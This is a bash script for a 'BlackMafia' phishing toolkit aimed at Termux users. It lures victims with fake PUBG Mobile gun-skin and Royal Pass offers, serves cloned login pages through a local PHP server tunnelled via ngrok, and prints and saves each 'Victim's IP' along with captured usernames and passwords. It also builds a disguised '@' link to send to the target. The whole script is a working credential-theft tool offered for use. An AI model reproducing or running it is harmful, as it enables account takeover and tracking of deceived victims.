## ANSI colors (FG & BG)

RED="$(printf '\033[31m')"  GREEN="$(printf '\033[32m')"  ORANGE="$(printf '\033[33m')"  BLUE="$(printf '\033[34m')"

MAGENTA="$(printf '\033[35m')"  CYAN="$(printf '\033[36m')"  WHITE="$(printf '\033[37m')" BLACK="$(printf '\033[30m')"

REDBG="$(printf '\033[41m')"  GREENBG="$(printf '\033[42m')"  ORANGEBG="$(printf '\033[43m')"  BLUEBG="$(printf '\033[44m')"

MAGENTABG="$(printf '\033[45m')"  CYANBG="$(printf '\033[46m')"  WHITEBG="$(printf '\033[47m')" BLACKBG="$(printf '\033[40m')"

RESETBG="$(printf '\e[0m\n')"

## Directories

if [[ ! -d ".server" ]]; then

	mkdir -p ".server"fi

if [[ -d ".server/www" ]]; then

	rm -rf ".server/www"

	mkdir -p ".server/www"

else

	mkdir -p ".server/www"

fi

## Script termination

exit_on_signal_SIGINT() {

    { printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Interrupted." 2>&1; reset_color; }

    exit 0

}

exit_on_signal_SIGTERM() {

    { printf "\n\n%s\n\n" "${RED}[${WHITE}!${RED}]${RED} Program Terminated." 2>&1; reset_color; }

    exit 0

}

trap exit_on_signal_SIGINT SIGINT

trap exit_on_signal_SIGTERM SIGTERM

## Reset terminal colors

reset_color() {

	tput sgr0   # reset attributes

	tput op     # reset color

    return

}

## Kill already running process

Black_Mafia() {

	if [[ `pidof php` ]]; then

		killall php > /dev/null 2>&1

	fi

	if [[ `pidof ngrok` || `pidof ngrok2` ]]; then

		killall ngrok > /dev/null 2>&1 || killall ngrok2 > /dev/null 2>&1

	fi	

}

## Banner

banner() {

	cat <<- EOF

${ORANGE} 

${ORANGE} 

${ORANGE} 

${ORANGE}██████████████

███████████♦

█████████♦

███████♦

█████♦

███♦

☸🎲

███♦

█████♦

███████♦

████████

${ORANGE} 

${ORANGE} 

${ORANGE} 

${ORANGE} 

${ORANGE} 

${ORANGE} 

${ORANGE} 

${ORANGE} 

${ORANGE} 

${ORANGE} ------ Your Mind is Your Best Weapon-------●	                

	EOF

}

## Small Banner

banner_mafia() {

	cat <<- EOF

${ORANGE} 

${ORANGE} ████████████████████████████████████████████████ 

${ORANGE} █ ${RED}___  _  _ _ ____ _  _ _ _  _ ____ ${MAGENTA}Termux help center bd ✅ ${ORANGE}█

${ORANGE} █ ${RED}|__] |__| | [__  |__| | |\ | | __ ${MAGENTA}WhatsApp   ${ORANGE}█

${ORANGE} █ ${RED}|    |  | | ___] |  | | | \| |__] ${MAGENTA}+8801892260962${ORANGE}█

${ORANGE} █                                              ${ORANGE}█

${ORANGE} ████████████████████████████████████████████████

	EOF

}

## Dependencies

dependencies() {

	echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing required packages..."

	if [[ `command -v php` && `command -v wget` && `command -v curl` && `command -v unzip` ]]; then

		echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Packages already installed."

	else

		pkgs=(php curl wget unzip)

		for pkg in "${pkgs[@]}"; do

			type -p "$pkg" &>/dev/null || {

				echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing packages : ${ORANGE}$pkg${CYAN}"${WHITE}

				if [[ `command -v pkg` ]]; then

					pkg install "$pkg"

				elif [[ `command -v apt` ]]; then

					apt install "$pkg" -y

				elif [[ `command -v apt-get` ]]; then

					apt-get install "$pkg" -y

				elif [[ `command -v pacman` ]]; then

					sudo pacman -S "$pkg" --noconfirm

				elif [[ `command -v dnf` ]]; then

					sudo dnf -y install "$pkg"

				else

					echo -e "\n${RED}[${WHITE}!${RED}]${RED} Unsupported package manager, Install packages manually."

					{ reset_color; exit 1; }

				fi

			}

		done

	fi

}

## Download Ngrok

download_ngrok() {

	url="$1"

	file=`basename $url`

	if [[ -e "$file" ]]; then

		rm -rf "$file"

	fi

	wget --no-check-certificate "$url" > /dev/null 2>&1

	if [[ -e "$file" ]]; then

		unzip "$file" > /dev/null 2>&1

		mv -f ngrok .server/"$2" > /dev/null 2>&1

		rm -rf "$file" > /dev/null 2>&1

		chmod +x .server/"$2" > /dev/null 2>&1

	else

		echo -e "\n${RED}[${WHITE}!${RED}]${RED} Error occured, Install Ngrok manually."

		{ reset_color; exit 1; }

	fi

}

## Install ngrok

install_ngrok() {

	if [[ -e ".server/ngrok" ]]; then

		echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Ngrok already installed."

	else

		echo -e "\n${GREEN}[${WHITE}Plz Wait${GREEN}]${CYAN} BlackMafia Installing..."${WHITE}

		arch=`uname -m`

		if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then

			download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip' 'ngrok'

		elif [[ "$arch" == *'aarch64'* ]]; then

			download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm64.zip' 'ngrok'

		elif [[ "$arch" == *'x86_64'* ]]; then

			download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip' 'ngrok'

		else

			download_ngrok 'https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip' 'ngrok'

		fi

	fi

	if [[ -e ".server/ngrok2" ]]; then

		echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Ngrok patch already installed."

	else

		echo -e "\n${GREEN}[${WHITE}Plz Wait${GREEN}]${CYAN} BlackMafia Server Installing..."${WHITE}

		arch=`uname -m`

		if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then

			download_ngrok 'https://bin.equinox.io/a/e93TBaoFgZw/ngrok-2.2.8-linux-arm.zip' 'ngrok2'

		elif [[ "$arch" == *'aarch64'* ]]; then

			download_ngrok 'https://bin.equinox.io/a/nmkK3DkqZEB/ngrok-2.2.8-linux-arm64.zip' 'ngrok2'

		elif [[ "$arch" == *'x86_64'* ]]; then

			download_ngrok 'https://bin.equinox.io/a/kpRGfBMYeTx/ngrok-2.2.8-linux-amd64.zip' 'ngrok2'

		else

			download_ngrok 'https://bin.equinox.io/a/4hREUYJSmzd/ngrok-2.2.8-linux-386.zip' 'ngrok2'

		fi

	fi

}

## Exit message

msg_exit() {

	{ clear; banner; echo; }

	echo -e "${GREENBG}${BLACK} Thank you for using this tool. Have a good day.${RESETBG}\n"

	{ reset_color; exit 0; }

}

## About

about() {

	{ clear; banner; echo; }

	cat <<- EOF

${GREEN} BlackMafia 

${GREEN} WhatsApp 

${RED} 03094161457

${RED} Main Menu     

${RED} Exit

	EOF

	read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"

	if [[ "$REPLY" == 99 ]]; then

		msg_exit

	elif [[ "$REPLY" == 0 || "$REPLY" == 00 ]]; then

		echo -ne "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Returning to main menu..."

		{ sleep 1; main_menu; }

	else

		echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."

		{ sleep 1; about; }

	fi

}

## Setup website and start php server

HOST='127.0.0.1'

PORT='8080'

setup_site() {

	echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Setting up server..."${WHITE}

	cp -rf BlackMafia404/"$website"/* .server/www

	cp -f BlackMafia404/ip.php .server/www/

	echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Starting PHP server..."${WHITE}

	cd .server/www && php -S "$HOST":"$PORT" > /dev/null 2>&1 & 

}

## Get IP address

capture_ip() {

	IP=$(grep -a 'IP:' .server/www/ip.txt | cut -d " " -f2 | tr -d '\r')

	IFS=$'\n'

	echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Victim's IP : ${BLUE}$IP"

	echo -ne "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}ip.txt"

	cat .server/www/ip.txt >> ip.txt

}

## Get credentials

capture_creds() {

	ACCOUNT=$(grep -o 'Username:.*' .server/www/usernames.txt | cut -d " " -f2)

	PASSWORD=$(grep -o 'Pass:.*' .server/www/usernames.txt | cut -d ":" -f2)

	IFS=$'\n'

	echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Account : ${BLUE}$ACCOUNT"

	echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Password : ${BLUE}$PASSWORD"

	echo -e "\n${RED}[${WHITE}-${RED}]${BLUE} Saved in : ${ORANGE}usernames.dat"

	cat .server/www/usernames.txt >> usernames.dat

	echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Waiting for Next Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit. "

}

## Print data

capture_data() {

	echo -ne "\n${RED}[${WHITE}-${RED}]${ORANGE} Waiting for Login Info, ${BLUE}Ctrl + C ${ORANGE}to exit..."

	while true; do

		if [[ -e ".server/www/ip.txt" ]]; then

			echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Victim IP Found !"

			capture_ip

			rm -rf .server/www/ip.txt

		fi

		sleep 0.75

		if [[ -e ".server/www/usernames.txt" ]]; then

			echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Login info Found !!"

			capture_creds

			rm -rf .server/www/usernames.txt

		fi

		sleep 0.75

	done

}

## Start ngrok

start_ngrok() {

	echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} BlackMafia server... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"

	{ sleep 1; setup_site; }

	echo -ne "\n\n${RED}[${WHITE}-${RED}]${GREEN} $2"

	sleep 2 && ./.server/"$1" http "$HOST":"$PORT" > /dev/null 2>&1 &

	{ sleep 8; clear; banner_mafia; }

	ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io")

	ngrok_url1=${ngrok_url#https://}

	echo -e "\n${RED}[${WHITE}-${RED}]${MAGENTA} Send This link To The Target Orignal link: ${GREEN}$ngrok_url"

	echo -e "\n${RED}[${WHITE}-${RED}]${MAGENTA} Send This link To The Target Edit link: ${GREEN}$mafia404@$ngrok_url1"

	capture_data

}

## Start localhost

start_localhost() {

	echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} BlackMafia Server... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"

	setup_site

	{ sleep 1; clear; banner_mafia; }

	echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Successfully Hosted at : ${GREEN}${CYAN}http://$HOST:$PORT ${GREEN}"

	capture_data

}

## Tunnel selection

tunnel_menu() {

	{ clear; banner_mafia; }

	cat <<- EOF

		${RED}[${WHITE}01${RED}]${ORANGE} Localhost ${RED}[${CYAN}For Devs Only${RED}]

		${RED}[${WHITE}02${RED}]${ORANGE} Ngrok.io  ${RED}[${CYAN}Hotspot Required${RED}]

		${RED}[${WHITE}03${RED}]${ORANGE} Ngrok.io  ${RED}[${CYAN}Without Hotspot${RED}]

	EOF

	read -p "${RED}[${WHITE}-${RED}]${GREEN} Select a port forwarding service : ${BLUE}"

	if [[ "$REPLY" == 1 || "$REPLY" == 01 ]]; then

		start_localhost

	elif [[ "$REPLY" == 2 || "$REPLY" == 02 ]]; then

		start_ngrok "ngrok" "Launching Ngrok...${MAGENTA} Turn on Hotspot..."

	elif [[ "$REPLY" == 3 || "$REPLY" == 03 ]]; then

		start_ngrok "ngrok2" "Launching Ngrok Patched..."

	else

		echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."

		{ sleep 1; tunnel_menu; }

	fi

}

## Facebook

lovehacker_facebook() {

	cat <<- EOF

${RED}[${WHITE}01${RED}]${ORANGE} link Editor M416		

${RED}[${WHITE}02${RED}]${ORANGE} link Editor RoyalPass 17		

${RED}[${WHITE}03${RED}]${ORANGE} link Editor M416 Glacier	

	EOF

	read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"

	if [[ "$REPLY" == 1 || "$REPLY" == 01 ]]; then

		website="facebook"

		mafia404='http://pubg-mobile-skin'

		tunnel_menu

        elif [[ "$REPLY" == 2 || "$REPLY" == 02 ]]; then

	        website="Pubg"

		mafia404='http://pubg-mobile-royalpass'

		tunnel_menu

        elif [[ "$REPLY" == 3 || "$REPLY" == 03 ]]; then

	        website="Testing"

		mafia404='http://pubg-mobile-glacier'

		tunnel_menu

	else

		echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."

		{ sleep 1; clear; banner_mafia; lovehacker_facebook; }

	fi

}

## Menu

main_menu() {

	{ clear; banner; echo; }

	cat <<- EOF

${RED}[${WHITE}01${RED}] Pubg Gun Skin M416

${RED}[${WHITE}02${RED}] Pubg Royal Pass 17

${RED}[${WHITE}03${RED}] Pubg M416 Glacier

${RED}[${WHITE}99${RED}]${ORANGE} About

${RED}[${WHITE}00${RED}]${ORANGE} Exit

	EOF

	

	read -p "${RED}[${WHITE}-${RED}]${GREEN} Select an option : ${BLUE}"

	if [[ "$REPLY" == 1 || "$REPLY" == 01 ]]; then

		lovehacker_facebook

	elif [[ "$REPLY" == 2 || "$REPLY" == 02 ]]; then

		lovehacker_facebook

        elif [[ "$REPLY" == 3 || "$REPLY" == 03 ]]; then

		lovehacker_facebook

	elif [[ "$REPLY" == 99 ]]; then

		about

	elif [[ "$REPLY" == 0 || "$REPLY" == 00 ]]; then

		msg_exit

	else

		echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."

		{ sleep 1; main_menu; }

	fi

}

## Main

Black_Mafia

dependencies

install_ngrok

main_menu
